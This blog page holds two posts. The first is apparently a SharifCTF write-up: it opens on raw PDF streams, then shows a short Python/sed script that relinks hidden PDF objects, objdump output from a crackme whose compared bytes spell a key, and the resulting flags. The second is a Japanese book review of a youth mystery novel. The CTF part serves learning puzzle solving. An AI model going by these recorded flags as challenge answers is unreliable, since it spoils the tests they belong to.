180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

24 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

25 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 160 620 l 
160 615 m 160 585 l 
S
endstream
endobj

26 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
160 645 m 160 625 l 
160 620 m 180 620 l  
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

27 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 160 620 l 
160 615 m 160 585 l 
S
endstream
endobj

28 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 615 m 120 595 l 
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 615 m 160 595 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

29 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
160 645 m 160 625 l 
160 620 m 180 620 l  
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj


30 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
180 615 m 180 595 l 
S
endstream
endobj

31 0 obj
<</Length 61>>
stream
2 w 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

32 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 160 620 l 
160 615 m 160 585 l

S
endstream
endobj

33 0 obj
<</Length 61>>
stream
2 w 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj

34 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
160 615 m 160 595 l 
160 590 m 180 590 l 

S
endstream
endobj

35 0 obj
<</Length 61>>
stream
2 w 

140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l
160 615 m 160 595 l 
 
S
endstream
endobj

36 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 650 m 180 650 l 
180 645 m 180 625 l 
180 615 m 180 595 l 
S
endstream
endobj

37 0 obj
<</Length 61>>
stream
2 w 

120 650 m 140 650 l 
140 645 m 140 625 l
120 645 m 120 625 l  
120 620 m 140 620 l 
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l
160 645 m 160 625 l  
160 620 m 180 620 l 
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj


38 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l

160 650 m 180 650 l 
180 645 m 180 625 l 
160 620 m 180 620 l 
160 615 m 160 595 l 
160 590 m 180 590 l 

S
endstream
endobj


39 0 obj
<</Length 61>>
stream
2 w  

120 650 m 140 650 l 
120 645 m 120 625 l 
120 620 m 140 620 l  
120 590 m 140 590 l 
140 615 m 140 595 l 

160 620 m 180 620 l 
180 645 m 180 625 l
160 645 m 160 625 l  
180 615 m 180 595 l 
S
endstream
endobj

40 0 obj
<</Length 61>>
stream
2 w 
100 650 m 100 620 l 
100 615 m 100 585 l 

120 650 m 140 650 l 
140 645 m 140 625 l 
120 620 m 140 620 l 
120 615 m 120 595 l 
120 590 m 140 590 l 

160 650 m 180 650 l 
160 645 m 160 625 l 
160 620 m 180 620 l  
160 590 m 180 590 l 
180 615 m 180 595 l 
S
endstream
endobj



xref
0 40
0000000000 65535 f
0000000010 00000 n
0000000079 00000 n
0000000173 00000 n
0000000301 00000 n
0000000380 00000 n
0000000450 00000 n
trailer
<<
  /Size 8
  /Root 1 0 R
>>
startxref
600
%%EOF

というようなPDFが渡されます。みると、ぐるぐるの「SharifCTF」という文字があるPDFなんですが、objの7 0から40 0までが使われていないようだったので、27行目あたりの参照を変更してやると、数字が描画されました。 ということで、objの7 0から40 0までを描画するように適当にスクリプトを描いて、出てきた数値をascii表に従って変換してやるとFLAGがでました。 {d1242d2d0969741dde7ed79c3c409c46}

スクリプトはこんな感じです。

import os

for i in range(7, 41):
    os.system("cp strange_pdf.pdf {}.pdf".format(i))
    os.system(r"sed -i '27 s/\[[0-9]*/[{}/g' {}.pdf".format(i, i))

Scrack

バイナリが渡されるのでgdbで解析しようとするとなんか Don't follow me ぽいことを言われるので objdump してやるとこんなフレーズが出てきて、

...snip...

  400acb:   31 c0                   xor    eax,eax
  400acd:   74 fa                   je     400ac9 <main+0x7c>
  400acf:   e8 0f b6 45 b0          call   ffffffffb085c0e3 <_end+0xffffffffb0259e0b>
  400ad4:   3c 38                   cmp    al,0x38
  400ad6:   0f 85 bc 03 00 00       jne    400e98 <main+0x44b>
  400adc:   0f b6 45 b1             movzx  eax,BYTE PTR [rbp-0x4f]
  400ae0:   3c 37                   cmp    al,0x37
  400ae2:   0f 85 b0 03 00 00       jne    400e98 <main+0x44b>
  400ae8:   0f b6 45 b2             movzx  eax,BYTE PTR [rbp-0x4e]
  400aec:   3c 34                   cmp    al,0x34
  400aee:   0f 85 a4 03 00 00       jne    400e98 <main+0x44b>
  400af4:   0f b6 45 b3             movzx  eax,BYTE PTR [rbp-0x4d]
  400af8:   3c 30                   cmp    al,0x30
  400afa:   0f 85 98 03 00 00       jne    400e98 <main+0x44b>
  400b00:   0f b6 45 b4             movzx  eax,BYTE PTR [rbp-0x4c]
  400b04:   3c 33                   cmp    al,0x33
  400b06:   0f 85 8c 03 00 00       jne    400e98 <main+0x44b>
  400b0c:   0f b6 45 b5             movzx  eax,BYTE PTR [rbp-0x4b]
  400b10:   3c 38                   cmp    al,0x38
  400b12:   0f 85 80 03 00 00       jne    400e98 <main+0x44b>
  400b18:   0f b6 45 b6             movzx  eax,BYTE PTR [rbp-0x4a]
  400b1c:   3c 65                   cmp    al,0x65
  400b1e:   0f 85 74 03 00 00       jne    400e98 <main+0x44b>
  400b24:   0f b6 45 b7             movzx  eax,BYTE PTR [rbp-0x49]
  400b28:   3c 34                   cmp    al,0x34
  400b2a:   0f 85 68 03 00 00       jne    400e98 <main+0x44b>
  400b30:   0f b6 45 b8             movzx  eax,BYTE PTR [rbp-0x48]
  400b34:   3c 62                   cmp    al,0x62
  400b36:   0f 85 5c 03 00 00       jne    400e98 <main+0x44b>
  400b3c:   0f b6 45 b9             movzx  eax,BYTE PTR [rbp-0x47]
  400b40:   3c 36                   cmp    al,0x36
  400b42:   0f 85 50 03 00 00       jne    400e98 <main+0x44b>
  400b48:   0f b6 45 ba             movzx  eax,BYTE PTR [rbp-0x46]
  400b4c:   3c 65                   cmp    al,0x65
  400b4e:   0f 85 44 03 00 00       jne    400e98 <main+0x44b>
  400b54:   0f b6 45 bb             movzx  eax,BYTE PTR [rbp-0x45]
  400b58:   3c 32                   cmp    al,0x32
  400b5a:   0f 85 38 03 00 00       jne    400e98 <main+0x44b>
  400b60:   0f b6 45 bc             movzx  eax,BYTE PTR [rbp-0x44]
  400b64:   3c 39                   cmp    al,0x39
  400b66:   0f 85 2c 03 00 00       jne    400e98 <main+0x44b>
  400b6c:   0f b6 45 bd             movzx  eax,BYTE PTR [rbp-0x43]
  400b70:   3c 62                   cmp    al,0x62
  400b72:   0f 85 20 03 00 00       jne    400e98 <main+0x44b>
  400b78:   0f b6 45 be             movzx  eax,BYTE PTR [rbp-0x42]
  400b7c:   3c 66                   cmp    al,0x66
  400b7e:   0f 85 14 03 00 00       jne    400e98 <main+0x44b>
  400b84:   0f b6 45 bf             movzx  eax,BYTE PTR [rbp-0x41]
  400b88:   3c 30                   cmp    al,0x30
  400b8a:   0f 85 08 03 00 00       jne    400e98 <main+0x44b>
  400b90:   0f b6 45 c0             movzx  eax,BYTE PTR [rbp-0x40]
  400b94:   3c 38                   cmp    al,0x38
  400b96:   0f 85 fc 02 00 00       jne    400e98 <main+0x44b>
  400b9c:   0f b6 45 c1             movzx  eax,BYTE PTR [rbp-0x3f]
  400ba0:   3c 39                   cmp    al,0x39
  400ba2:   0f 85 f0 02 00 00       jne    400e98 <main+0x44b>
  400ba8:   0f b6 45 c2             movzx  eax,BYTE PTR [rbp-0x3e]
  400bac:   3c 38                   cmp    al,0x38
  400bae:   0f 85 e4 02 00 00       jne    400e98 <main+0x44b>
  400bb4:   0f b6 45 c3             movzx  eax,BYTE PTR [rbp-0x3d]
  400bb8:   3c 62                   cmp    al,0x62
  400bba:   0f 85 d8 02 00 00       jne    400e98 <main+0x44b>
  400bc0:   0f b6 45 c4             movzx  eax,BYTE PTR [rbp-0x3c]
  400bc4:   3c 67                   cmp    al,0x67
  400bc6:   0f 85 cc 02 00 00       jne    400e98 <main+0x44b>
  400bcc:   0f b6 45 c5             movzx  eax,BYTE PTR [rbp-0x3b]
  400bd0:   3c 34                   cmp    al,0x34
  400bd2:   0f 85 c0 02 00 00       jne    400e98 <main+0x44b>
  400bd8:   0f b6 45 c6             movzx  eax,BYTE PTR [rbp-0x3a]
  400bdc:   3c 66                   cmp    al,0x66
  400bde:   0f 85 b4 02 00 00       jne    400e98 <main+0x44b>
  400be4:   0f b6 45 c7             movzx  eax,BYTE PTR [rbp-0x39]
  400be8:   3c 30                   cmp    al,0x30
  400bea:   0f 85 a8 02 00 00       jne    400e98 <main+0x44b>
  400bf0:   0f b6 45 c8             movzx  eax,BYTE PTR [rbp-0x38]
  400bf4:   3c 32                   cmp    al,0x32
  400bf6:   0f 85 9c 02 00 00       jne    400e98 <main+0x44b>
  400bfc:   0f b6 45 c9             movzx  eax,BYTE PTR [rbp-0x37]
  400c00:   3c 32                   cmp    al,0x32
  400c02:   0f 85 90 02 00 00       jne    400e98 <main+0x44b>
  400c08:   0f b6 45 ca             movzx  eax,BYTE PTR [rbp-0x36]
  400c0c:   3c 35                   cmp    al,0x35
  400c0e:   0f 85 84 02 00 00       jne    400e98 <main+0x44b>
  400c14:   0f b6 45 cb             movzx  eax,BYTE PTR [rbp-0x35]
  400c18:   3c 39                   cmp    al,0x39
  400c1a:   0f 85 78 02 00 00       jne    400e98 <main+0x44b>
  400c20:   0f b6 45 cc             movzx  eax,BYTE PTR [rbp-0x34]
  400c24:   3c 33                   cmp    al,0x33
  400c26:   0f 85 6c 02 00 00       jne    400e98 <main+0x44b>
  400c2c:   0f b6 45 cd             movzx  eax,BYTE PTR [rbp-0x33]
  400c30:   3c 35                   cmp    al,0x35
  400c32:   0f 85 60 02 00 00       jne    400e98 <main+0x44b>
  400c38:   0f b6 45 ce             movzx  eax,BYTE PTR [rbp-0x32]
  400c3c:   3c 63                   cmp    al,0x63
  400c3e:   0f 85 54 02 00 00       jne    400e98 <main+0x44b>
  400c44:   0f b6 45 cf             movzx  eax,BYTE PTR [rbp-0x31]
  400c48:   3c 30                   cmp    al,0x30
  400c4a:   0f 85 48 02 00 00       jne    400e98 <main+0x44b>

...snip...

cmpに指定されている文字を連結して文字列にしてやって、入力するとフラグが出ました。

SharifCTF{ed97d286f356dadb5cde0902006c7deb}

なんか簡単でよくわからないけど、SECCON Onlineの時よりはチームに貢献できたと思います。

Kosen14's読書感想文2nd「放課後スプリング・トレイン」

この記事は、

kosen14s.github.io

の1日目の記事です。

Kosen14's読書会

Kosen14'sという、「14年入学の高専生がわいわいやるコミュニティ」で、「なんか読もうよ」がまかり間違って、みんなで読書感想文を投稿するイベントになったものです。最初は輪読会みたいな感じになると思ってた。

前回の読書会が(仲間内では)好評だったので、今週はKosen14'sの面々が、AdventCalendar代わりに、また読書感想文を投稿します。

過去の読書会に関しては、 http://kosen14s.github.io/bookclub/ を参照してください。

今年の本の話とか

 今年もいろんな本がでました。私もいろんな本を読みました。今年出た本で面白かった/印象に残ったのは

家庭用事件 (創元推理文庫)

家庭用事件 (創元推理文庫)

 とかです。あとは、

なんかも流行れって思ってます。個人的に、今年発見したのは橋本紡とかですが。

 それはそれとして、今回ワタシが「読んだよ!」って言いたい本は、吉野泉の「放課後スプリング・トレイン」です。

 この記事では、「放課後スプリング・トレイン」を読んで思ったこと、感じたことをお伝えするとともに、これを布教したいです。

放課後スプリング・トレイン

 創元推理文庫です。日常の謎系です。いわゆる青春ミステリというやつです。私はこのジャンルがいたく気に入っています。

 吉野泉というひとのデビュー作で、ばんばん書いてほしいです。

 舞台は福岡の都会の方。主人公は女子高生で、日常の中からいろんな不思議を探し出してきます。この子は疑問を持つのがとっても上手で、放って置いたらすぐに見失ってしまいそうな、なぞとも呼べないようななぞをはしとつかんで考えるんですね。「あれ、これは変じゃないか」って思って、考える。

 そして、そのなぞを解いていくのが、Q大の院生の飛木さんという人です。寡黙な人だけど、よく考えて喋る。言葉が選び抜かれてるような印象を受けました。この人が、話をきいてそれからゆっくりと語るさまは、とっても安心できます。

 という話が、4つほど入っているのが、放課後スプリング・トレインです。どのお話も、やわらかくて、みずみずしくて、安心できるような感じです。伝わるだろうか。つたわれ。

うまい小説だなと思った

 なにが、「うまい」のか、うまく伝えられないんですけど、話の運び方がうまいと感じたのと、作中の登場人物の台詞がうまいんですね、たぶん。特に、みんな喋ることが、よくできてて、現実にそんなにうまくは行かないんだろうけど、憧れるなあみたいな会話をしてくれる。それがみずみずしさと、安定感とをうまくつくりあげてそうだなと思いました。

まちが思い浮かぶ

これは私が二度ほど福岡のまちを訪れて、大変な好意を抱いたとかそういうことも関係してるんだとは思いますが、はじめて、物語を読んで、刻銘に町並みや、学校が見えてきました。これは私には驚きの体験で、ちょっとはしゃぎました。だから、福岡の街を知ってるよって人には、ちょっとおすすめしたいです。

もっと読みたい

 もっと、いろんななぞを見つけて欲しい。いろんな答えにたどり着いて欲しい。いろんな思考を見せて欲しいって思いました。

おわり

 わたしはこの小説を読んで、あたまからおしりまで「おもしろい!」って思ったし、今年読んだ中で最高の小説だと思いました。だからいろんな人に読んでもらいたいし、この作者さんがもっと物語を書いてもらいたいし、私は「おもしろい」っておもって、それを伝えたいと思いました。

感想なのか布教なのかファンレターなのかよくわからない感じになってしまいましたが、この記事はこれでおしまいです。来年はどんな面白い本に巡り会えるか、楽しみです。